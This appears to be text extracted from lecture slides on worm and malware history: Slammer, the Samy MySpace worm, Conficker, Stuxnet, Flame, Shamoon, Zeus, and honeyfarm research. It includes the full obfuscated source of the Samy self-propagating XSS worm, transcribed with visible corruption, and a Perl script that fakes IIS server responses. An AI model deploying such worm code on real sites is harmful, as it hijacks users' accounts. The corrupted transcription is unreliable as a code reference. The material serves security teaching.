



Slammer's *Bandwidth-Limited* Growth

DShield Probe Data



Distinct Remote Hosts Attacking LBNL



[Advanced Search](#)

Web [+ Show options...](#)

Results 1 - 10 of about 153,000,000 for "viewtopic.php". (0.23 seconds)

[Step-By-Step Guide: Embedded Windows Media in Firefox ...](#)

Jan 26, 2005 ... For pre-1.0 versions of Firefox (also under Windows), see this earlier version of this guide: <http://forums.mozillazine.org/viewtopic.php?t=140828>. ...

forums.mozillazine.org/viewtopic.php?t=206213 - [Cached](#) - [Similar](#)

[\[Ext\] Fission 0.8.9 \[Sep 25\] • mozillaZine Forums](#) - 15 posts - Jan 19, 2006

[\[Ext\] Console² 0.1 to 0.3.6.2 • mozillaZine Forums](#) - 15 posts - Sep 17, 2005

[Quicktime/Real/Windows Media Player Issues ...](#) - 3 posts - Jan 25, 2005

[keyconfig 20080929 • mozillaZine Forums](#) - 15 posts - Jul 29, 2004

[More results from forums.mozillazine.org »](#)

[phpBB • View topic - howdark.com exploits - follow up](#)

1 post - 1 author - Last post: Nov 18, 2004

In the mean time we strongly, and I mean strongly! urge all our users to make the following change to **viewtopic.php** as a matter of urgency. ...

www.phpbb.com/community/viewtopic.php?t=240513 - [Cached](#) - [Similar](#)

[phpbb • View topic - \[2.0.19\] Youtube Video bbcode](#) - Apr 29, 2007

[phpbb • View topic - Preventing SPAM - Bots ...](#) - Mar 19, 2007

[phpBB • View topic - phpBB 2.0.16 released](#) - Jun 26, 2005

[More results from phpbb.com »](#)

[GREYSCALE & COLOUR CALIBRATION FOR DUMMIES](#)

Written by Kal, Editor/Webmaster www.CurtPalme.com Home Theater Last updated on June 6, 2009 (fixed some minor typo's) ...

www.curtpalme.com/forum/viewtopic.php?t=10457 - [Cached](#) - [Similar](#)

```
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)'" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e)
}{if(C){return C}else{return eval('document.body.inne'+rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var
E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var
L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M)
{getData(g())}main()}function getClientFID(){return findIn(g(),'_up_launchIC('+A.A)}function nothing(){function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'
}Q=escape(AV[P]);while(Q.indexOf('!')==1){Q=Q.replace('!','%2B')}while(Q.indexOf('&')==1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-
Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var
V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e)
}{Z=false}}return Z}var AA=g();var AB=AA.indexOf('m'+ycode);var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+IV);var AE=AC.substring(0,AD);var AF;if(AE)
{AE=AE.replace('jav'+a'+a'+jav'+a');AE=AE.replace('exp'+r'),'exp'+r'+A);AF= but most of all, samy is my hero. <div id='+AE+'D'+IV>}var AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+rofileHeroes','</td>');AG=AG.substring(0,AG.length);if(AG.indexOf('samy')==1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?
fuseaction=profile.previewInterests&Mytoken='+AR.postHero,'POST',paramsToString(AS))}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?
fuseaction=profile.processInterests&Mytoken='+AR.nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?
fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?
fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L.processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?
fuseaction=invite.addFriendsProcess&Mytoken='+AR.nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-
urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
```



I graduated in:

State: MD Year: 90 GO!



KICK ASS




Mail Center Friend Request Manager

I RULE

Approve or Deny Your Friend Requests Here [help]

- Inbox
- Saved
- Sent
- Trash
- Bulletin
- Friend Requests
- Pending Requests
- Event Invites

Listing 1-10 of 919664 1 2 3 4 5 >> of 91967 Next >

	Date:	From:	Confirmation:
<input type="checkbox"/>	Oct 4, 2005 10:22 PM	 Online Now!	PLEASE DONT PRESS CHARGES Lulu the Loveable Freak wants to be your friend! Approve Deny Send Message
<input type="checkbox"/>	Oct 4, 2005 10:21 PM		AlysOn!! wants to be your friend! Approve Deny Send Message
<input type="checkbox"/>	Oct 4, 2005		Erika wants to be your friend!







Fly Fishing Trip in Mexico
All inclusive package in Ascension Bay, Mexico, from US\$1,600...
www.pescamaya.com

Yellow Dog
Flyfishing




MAD PHOTOSHOP SKILLS

SHE WANTS ME

Conficker Eye Chart

How to interpret:


If you see this above:	It probably means this:
	<p>= Normal/Not Infected by Conficker (or using proxy)</p>
	<p>= Possibly Infected by Conficker (C variant or greater)</p>
	<p>= Possibly Infected by Conficker A/B variant</p>

AutoPlay


Removable Disk (E:)


Always do this for software and games:

Install or run program


 Open folder to view files
Published by Microsoft Windows

General options

 Open folder to view files
using Windows Explorer


 Speed up my system
using Windows ReadyBoost

[Set AutoPlay defaults in Control Panel](#)




2009 - 2010

180 Day Conficker A+B Population



2012

180 Day Conficker A+B Population



2013-2014


MS puts up \$250K bounty for Conficker author
Zombie masterminds wanted undead or alive

By [John Leyden](#) • [Get more from this author](#)


Posted in [Security](#), 12th February 2009 18:15 GMT

[Free whitepaper – Trend Micro marries security with Cloud Computing](#)

Microsoft is offering a \$250,000 reward for information that leads to the arrest and conviction of the virus writers behind the infamous Conficker (Downadup) worm.



Copyright © 2009 Team Cymru, Inc. Data Source: Support Intelligence. Map Image courtesy NASA




Total IP Addresses: 10,512,451
Total Conficker A IPs: 4,743,658
Total Conficker B IPs: 6,767,602
Total Conficker AB IPs: 1,022,062

OS Breakdown:

WinNT=0, 2000=163395, WinXP=10189556, 2003 Srv=75361, Vista=82495, Win98=44, Win95=32, WinCE=3, Other=1565

Browser Breakdown:

IE5=26,525, IE6=7,494,466, IE7=2,988,039, FireFox=893, Opera=150, Safari=166, Netscape=12



Israel Tests on Worm Called Crucial in Iran Nuclear Delay

By WILLIAM J. BROAD, JOHN MARKOFF and DAVID E. SANGER
Published: January 15, 2011

This article is by William J. Broad, John Markoff and David E. Sanger.


[Enlarge This Image](#)



Nicholas Roberts for The New York Times

Ralph Langner, an independent computer security expert, solved Stuxnet.

Multimedia





How Stuxnet Spreads


The Dimona complex in the Negev desert is famous as the heavily guarded heart of [Israel's](#) never-acknowledged nuclear arms program, where neat rows of factories make atomic fuel for the arsenal.

Over the past two years, according to intelligence and military experts familiar with its operations, Dimona has taken on a new, equally secret role — as a critical testing ground in a joint American and Israeli effort to undermine [Iran's](#) efforts to make a bomb of its own.


Behind Dimona's barbed wire, the experts say, Israel has spun nuclear centrifuges virtually identical to Iran's at Natanz, where Iranian scientists are struggling to enrich uranium. They say Dimona tested the effectiveness of the [Stuxnet](#) computer worm, a destructive program that appears to have wiped out roughly a fifth of Iran's nuclear








Stuxnet: Slowly ramped up centrifuge speeds until they flew apart ...
 ... while feeding false readings to control system.
 Included 4 **zero days** for spreading



Country	Duqu	Flame	Gauss	Total
Palestinian Territories	0	54	261	315
Israel	0	49	483	532
Lebanon	0	18	1660	1678
Jordan	0	3	4	7
Turkey	0	1	2	3
Syria	0	30	4	34

Country	Duqu	Flame	Gauss	Total
Iran	11	199	1	211
Iraq	0	3	2	5

Country	Duqu	Flame	Gauss	Total
Iran	0	2	11	13
Qatar	0	1	4	5
UAE	12	4	16	16
Kuwait	0	0	1	1
Saudi Arabia	0	1	1	2





Flame: General information stealer. Includes geolocation from local photos, taking screenshots, microphone access to capture local audio, recording Skype calls, download contacts from nearby BlueTooth devices.

Exploited **previously unknown MD5 hash collision vulnerability**.
Built-in autowipe "kill switch".

© 2012 Kaspersky Lab ZAO. All Rights Reserved.





'Shamoon' cyberweapon the work of amateurs

No 'Flame' masterpiece but damaged 30,000 PCs,
says Kaspersky Labs



Comment

Tech4Biz | 17 Sep 2012 : The 'Shamoon' malware that nixed the hard drives of 30,000 Saudi oil industry PCs in August was more of a 'quick and dirty' job by talented amateurs than a skilfully-crafted professional cyberweapon, an analysis has concluded. After pulling apart the code, Kaspersky Lab's researcher Dmitry Tarakanov draws a mixed picture of the programming skills of Shamoon's creators.

```
#!/usr/bin/perl
while (<>) {
  chomp;
  if ( /^^(get|post|options|head|...)(.*)/i ) {
    # Do not respond if it looks like an exploit
    last if length > 1000;

    my $date = gmtime;
    if ( $1 =~ /get|head/i )
      print "HTTP/1.1 200 OK\r\n";
    elsif ( $1 =~ /search/i )
      print "HTTP/1.1 411 Length Required\r\n";
    elsif ( $1 =~ /options/i ) {
      print "HTTP/1.1 200 OK\r\n";
      print "DASL: \r\nDAV: 1, 2\r\n";
      print "Public: OPTIONS, TRACE, GET, HEAD, DELETE, ... \r\n";
      print "Allow: OPTIONS, TRACE, GET, HEAD, DELETE, ... \r\n";
    }
    elsif ( $1 =~ /propfind/i )
      print "HTTP/1.1 207 Multi-Status\r\n";
    else
      print "HTTP/1.1 405 Method Not Allowed\r\n";
  }
  print <<EOF;
  Server: Microsoft-IIS/5.0
  Date: $date GMT
  Content-Length: 0
  Content-Type: text/html
  Set-Cookie: ASPSESSIONIDACBAABCQ=BHAMAEOIAHMOMGJCPFLBGO; path=/
  Cache-control: private

  EOF
  last;
}
```

Zeus Attackers Deploy Honeypot Against Researchers, Competitors

Phony administrative panel posts fake data on recent electronic quarterly federal tax payment attacks, fake 'new botnet' malware

Nov 03, 2010 | 03:43 PM | [0 Comments](#)


By Kelly Jackson Higgins

Attackers turned the tables on both their competitors and researchers investigating a recent Zeus attack, which targeted quarterly federal tax payers who file electronically, by feeding them a phony administrative panel with fake statistics.

new twist, Stone-Gross says. He found the fake panel while browsing the gang's source code. "It had a directory called 'fake admin' where they stored the logs of all of the IP addresses of people who tried the console and tried to access it," Stone-Gross says. There were also comments in Russian, he says.


GQ: Building a Large-Scale *Honeyfarm*

- *Honeyfarm*: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...
- ... at high fidelity




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


GQ: Building a Large-Scale *Honeyfarm*

- *Honeyfarm*: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...
- ... at high fidelity




Physical Honeyfarm Servers




GQ: Building a Large-Scale *Honeyfarm*

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- ... at high fidelity




GQ: Building a Large-Scale *Honeyfarm*

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
GQ: Building a Large-Scale *Honeyfarm*


- *Honeyfarm*: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...
- ... at high fidelity



GQ: Building a Large-Scale *Honeyfarm*

- *Honeyfarm*: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...
- ... at high fidelity






(b) Average number of simultaneous VMs

Executable Name	Size (B)	MD5Sum	Worm Name	# Events	# Conns	Time (s)
a####.exe	10366	7a67f7c8...	W32.Zotob.E	4	3	29.0
a####.exe	10878	bf47cfe2...	W32.Zotob.H	9	3	25.2
a####.exe	25726	62697686...	Quarantined but no name	1	3	223.2
cpufanctrl.exe	191150	1737ec9a...	Backdoor.Sdbot	1	4	111.2
chkdisk32.exe	73728	27764a5d...	Quarantined but no name	1	4	134.7
dllhost.exe	10240	53bfe15e...	W32.Welchia.Worm	297	4 or 6	24.5
enbiei.exe	11808	d1ee9d2e...	W32.Blaster.F.Worm	1	3	28.9
msblast.exe	6176	5ae700c1...	W32.Balster.Worm	1	3	43.8
lsd	18432	17028f1e...	W32.Poxdar	11	8	32.4
NeroFil.EXE	78480	5ca9a953...	W32.Spybot.Worm	1	5	237.5
sysmsn.exe	93184	5f6c8c40...	W32.Spybot.Worm	3	3	79.6
MsUpdaters.exe	107008	aa0ee4b0...	W32.Spybot.Worm	1	5	57.0
RealPlayer.exe	120320	4995eb34...	W32.Spybot.Worm	2	5	95.4
WinTemp.exe	209920	9e74a7b4...	W32.Spybot.Worm	1	5	178.4
wins.exe	214528	7a9aee7b...	W32.Spybot.Worm	1	5	118.2
msnet.exe	238592	6355d4d5...	W32.Spybot.Worm	1	7	189.4
MSGUPDATES.EXE	241152	65b401eb...	W32.Spybot.Worm	2	5	125.3
ntsf.exe	211968	5ac5998e...	Quarantined but no name	1	5	459.4
scardsvr32.exe	33169	1a570b48...	W32.Femot.Worm	4	3	46.2
scardsvr32.exe	34304	b10069a8...	W32.Femot.Worm	1	3	66.5
scardsvr32.exe	34816	ba599948...	W32.Femot.Worm	55	3	96.6
scardsvr32.exe	35328	617b4056...	W32.Femot.Worm	2	3	179.6
scardsvr32.exe	36864	0372809c...	W32.Femot.Worm	1	5	49.3
scardsvr32.exe	39689	470de280...	W32.Femot.Worm	4	3	41.4
scardsvr32.exe	40504	23055595...	W32.Femot.Worm	1	3	41.1
scardsvr32.exe	43008	ff20f56b...	W32.Valla.2048	1	5	32.2
scardsvr32.exe	66374	f7a00ef5...	Quarantined but no name	1	7	54.8

x.exe	9343	986b5970...	W32.Korgo.Q	17	2	6.6
x.exe	9344	d6df3972...	W32.Korgo.T	7	2	9.5
x.exe	9353	7d99b0e9...	W32.Korgo.V	102	2	6.0
x.exe	9359	a0139d7a...	W32.Korgo.W	31	2	5.9
x.exe	9728	c05385e6...	W32.Korgo.Z	20	2	6.6
x.exe	11391	7f60162c...	W32.Korgo.S	169	2	6.6
x.exe	11776	c0610a0d...	W32.Korgo.S	15	2	8.6
x.exe	13825	0b80b637...	W32.Korgo.V	2	2	24.4
x.exe	20992	31385818...	W32.Licum	2	2	7.9
x.exe	23040	e0989c83...	W32.Korgo.S	3	2	10.4
x.exe	187348	384c6289...	W32.Pinfi	1	2	329.7
x.exe	187350	a4410431...	W32.Korgo.V	6	2	11.3
x.exe	187352	b3673398...	W32.Pinfi	5	2	20.1
x.exe	187354	c132582a...	W32.Pinfi	5	2	24.9
x.exe	187356	d586e6c2...	W32.Pinfi	2	2	27.5
x.exe	187358	2430c64c...	W32.Korgo.V	1	2	27.5
x.exe	187360	eb1d07c1...	W32.Pinfi	1	2	63.1
x.exe	187392	2d9951ca...	W32.Korgo.W	1	2	76.1
x.exe	189400	7d195c0a...	W32.Korgo.S	1	2	18.0
x.exe	189402	c03b5262...	W32.Pinfi	1	2	58.2
x.exe	189406	4957f2e3...	W32.Korgo.S	1	2	210.9
xxxx...x	46592	a12cab51...	Backdoor.Berbew.N	844	2	9.4
xxxx...x	56832	b783511e...	W32.Info.A	34	2	7.2
xxxx...x	57856	ab5e47bf...	Trojan.Dropper	685	3	10.0
xxxx...x	224218	d009d6e5...	W32.Pinfi	1	3	32.5
xxxx...x	224220	af79e0c6...	W32.Pinfi	3	2	34.2
n/a	10240	7623c942...	W32.Korgo.C	3	2	4.8
n/a	10752	1b90cc9f...	W32.Korgo.L	1	2	7.0
n/a	10752	32a0d7d0...	W32.Korgo.G	8	2	4.1
n/a	10752	ab7ecc7a...	W32.Korgo.N	2	2	5.3
n/a	10752	d175bad0...	W32.Korgo.G	3	2	5.4
n/a	10752	d85bf0c5...	W32.Korgo.E	1	2	5.6
n/a	10752	b1e7d9ba...	W32.Korgo.gen	1	2	5.0
n/a	10879	042774a2...	W32.Korgo.I	15	2	4.3
n/a	11264	a36ba4a2...	W32.Korgo.I	1	2	5.4
multiple	n/a	n/a	W32.Muma.A	2	7	186.7
multiple	n/a	n/a	W32.Muma.B	2	7	208.9
multiple	n/a	n/a	BAT.Boohoo.Worm	1	72	384.9

Polymorphic Propagation



Once running, worm uses an *encryptor* with a **new key** to propagate